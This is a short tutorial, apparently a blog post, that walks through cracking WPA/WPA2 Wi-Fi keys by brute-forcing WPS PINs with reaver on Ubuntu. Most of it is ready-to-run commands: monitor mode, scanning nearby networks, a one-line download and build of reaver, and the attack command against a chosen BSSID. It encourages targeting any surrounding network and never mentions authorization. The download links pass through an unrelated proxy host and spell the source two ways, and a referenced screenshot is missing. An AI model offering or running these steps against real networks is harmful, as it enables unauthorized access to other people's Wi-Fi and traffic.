How to crack WPA/WPA2 without a dictionary in 4-10 hours with reaver

The reign of secure WPA/WPA2 network encryption is now over. It no longer takes decades to crack thanks toTactical Network Solutions. Their brilliant team have found a weakness in WPA that lets an attacker bruteforce against Wifi Protected Setup (WPS) PINS in order to then recover the WPA/WPA2 key. We'll be using a tool which exploits this bug called reaver. I will take you through how this is done on a Linux machine, specifically Ubuntu! Using the terminal: 1. Download aircrack-ng: sudo apt-get install aircrack-ng 2. Put Wifi adapter into monitor mode: sudo airmon-ng start wlan0 3. Use airodump-ng to scan for WPA/WPA2 encrypted network BSSIDs: sudo airodump-ng mon0 4. <crtl+c> after a few seconds or once a list of BSSIDs has populated, it should look like this:

The BSSIDs are listed on the left, these are the IDs for the various surrounding networks. Pick one which is WPA/WPA2 and uses a Public Shared Key (PSK). Don't close this terminal, open up a new terminal and use this now instead. READ STEPS 5-8 OR JUST COPY AND PASTE THIS INTO YOUR TERMINAL AND THEN SKIP TO STEP 9: sudo apt-get install libsqlite3-dev && wget http://reaverwps.googlecode.com/files/reaver-1.4.tar.gz && tar xfvz reaver-1.4.tar.gz &&cd reaver-1.4/src/ && ./configure && make && sudo make install 5. Download and install libsqlite3-dev: sudo apt-get install libsqlite3-dev

6. Download reaver: wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz 7. Extract reaver tar.gz file: tar xfvz reaver-1.4.tar.gz 8. Install reaver: cd reaver-1.4/src/ && ./configure && make && sudo make install 9. Get cracking! Copy the BSSID you chose from the other open terminal and enter it in like this: sudo reaver -i mon0 -b <paste BSSID here!!> -vv -i mon0 = use the mon0 interface which is your wifi adapter in monitor mode. -b "some BSSID" = the router to crack. -vv = give very verbose output. 10. Now wait from around 4-10 hours as it cracks the network key!
